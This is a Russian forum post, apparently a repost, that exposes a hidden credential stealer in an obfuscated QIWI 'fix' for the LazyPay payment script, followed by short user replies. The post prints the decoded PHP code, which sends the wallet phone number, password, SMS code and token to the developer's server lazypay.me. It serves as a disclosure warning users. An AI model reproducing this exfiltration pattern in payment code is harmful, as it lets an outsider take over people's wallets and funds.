LazyPay - Открытость, Честность, Порядочность.... И плюшки от разраба

Расстроили людишки злобные разработчика, да не сильно. Прошел Новый год, подсохли слезы на глазах, прошли обиды и вернулась она...
Та, что маленькая и зеленая но сильно давит. Трудно сдержать страсть, особенно, если эта страсть не к девчонкам, а к деньгам.
А ко всему еще и QIWI порадовали очередным обновлением, да парсер ворованый в который раз уж перестал работать.
И решился разработчик LazyPay на кардинальные изменения. Выпустил от фикс очередной для QIWI, да фикс не простой, а с секретом.
А чтоб никто о секрете ёйном не прознал, решил разработчик накрыть его кубиком, что в народе ioncube зовется.
Но мир не без добрых людей, позвали человеки умельцев, да попросили глянуть что там под кубиком скрывается, какой такой секрет прячут от них.
Сняли с парсера этого, умельцы кубик, когда глядь, а там и нет вовсе парсера...
Парсера нет, а секрет есть. Что ж за секрет такой, спросите вы? Большой темный секрет, что скрывает злобный умысел ибо втайне от человеков делается и вопреки их воле.
Файл qiwi_helper.php

Спойлер

HTML:

<?php
    if (!defined( 'BASEPATH' )) {
        exit( 'No direct script access allowed' );
    }

    require( 'qiwi-class.php' );

    function qiwi_pay($qiwi_num, $qiwi_token, $bill, $price) {
        $operations = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );
        foreach ($operations['p-list']['p'] as $operation) {
            $operation = $operation['@attributes'];
            if (( ( ( ( $operation['to_c'] == '643' && number_format( $operation['rs'], 2, '.', '' ) == $price ) && $operation['cmnt'] == $bill ) && $operation['st'] == '60' ) && $operation['e'] == '0' )) {
                return 1;
                continue;
            }
        }

    }

    function check_qiwi($qiwi_num, $qiwi_token) {
        $check = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );
        if ($check['result-code'] != 0) {
            exit(  );
        }
    }


?>

Файл qiwi.php

Спойлер

HTML:

<?php
    class qiwi extends Admin_Controller {
        function __Construct() {
            parent::(  );
            $this->load->model( 'siteconfig' );
            $this->load->helper( 'qiwi_helper' );
        }

        function index() {
            $qiwi_num = config_item( 'qiwi_num' );
            $qiwi_pass = $this->encrypt->decode( config_item( 'qiwi_pass' ) );
            $response = file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=init&phone=' . $qiwi_num . '&pass=' . $qiwi_pass . '&domain=' . getenv( 'HTTP_HOST' ) );

            if ($response != 'ERROR') {
                echo '
            <form action="/qiwi/token" method="POST">
            <input type="hidden" value=' . $response . ' name="code">
            <input type="hidden" value=' . $qiwi_num . ' name="phone">
            <input placeholder="Код из смс" name="vcode">
            <input type="submit">
            </form>
            ';
                return null;
            }

            echo 'Неверные данные от QIWI';
        }

        function check() {
            $qiwi_token = config_item( 'qiwi_token' );
            $qiwi_num = config_item( 'qiwi_num' );
            echo '<pre>';
            print_r( json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 ) );
        }

        function token() {
            $response = file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=token&phone=' . $_POST['phone'] . '&code=' . $_POST['code'] . '&vcode=' . $_POST['vcode'] . '&domain=' . getenv( 'HTTP_HOST' ) );

            if ($response != 'ERROR') {
                $check = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $_POST['phone'] . '&token=' . $response . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );

                if ($check['result-code'] == 0) {
                    $query = $this->db->query( 'SELECT * FROM `config_data` WHERE `key` LIKE \'qiwi_token\'' );

                    if ($query->num_rows(  ) == 0) {
                        $this->db->query( 'INSERT INTO `config_data` VALUES(\'qiwi_token\',\'' . $response . '\')' );
                    } 
else {
                        $this->siteconfig->save( 'qiwi_token', $response );
                    }

                    echo '<center><h2>QIWI успешно настроен</h2></center>';
                    return null;
                }

                echo 'Неверные данные от QIWI';
                return null;
            }

            echo 'Неверные данные от QIWI';
        }
    }

?>

Вам ведь не надо объяснять куда передаются логин, пароль от ваших аккаунтов QIWI? Куда вы отправляете код подтверждения из SMS?
И что можно со всем этим сделать, если случится очередной приступ страсти, а у вас на балансе будет какая-то интересная сумма?

Взято с nulled.cc​

 

Интересненько...
Но синий цвет кода убил мои глаза

 

Это троллинг такой))

 

Лулы0)0)

Интересно сколько там кошельков набралось

 

объясните нубу что там с кодом ?

 

стучалка твоих киви данных.

 

Да, за такие дела нужно убивать....

 

Мда) Нормас так. Хитрила, ты не обновлялся хоть?

 

Ну если коротко-то данные по киви уходят лезипею,код смски и прочее. Короче скорее "код-парсер" )

 

Я таким не занимаюсь

 

Я немного не про то , ну да ладно)

 

Забавненько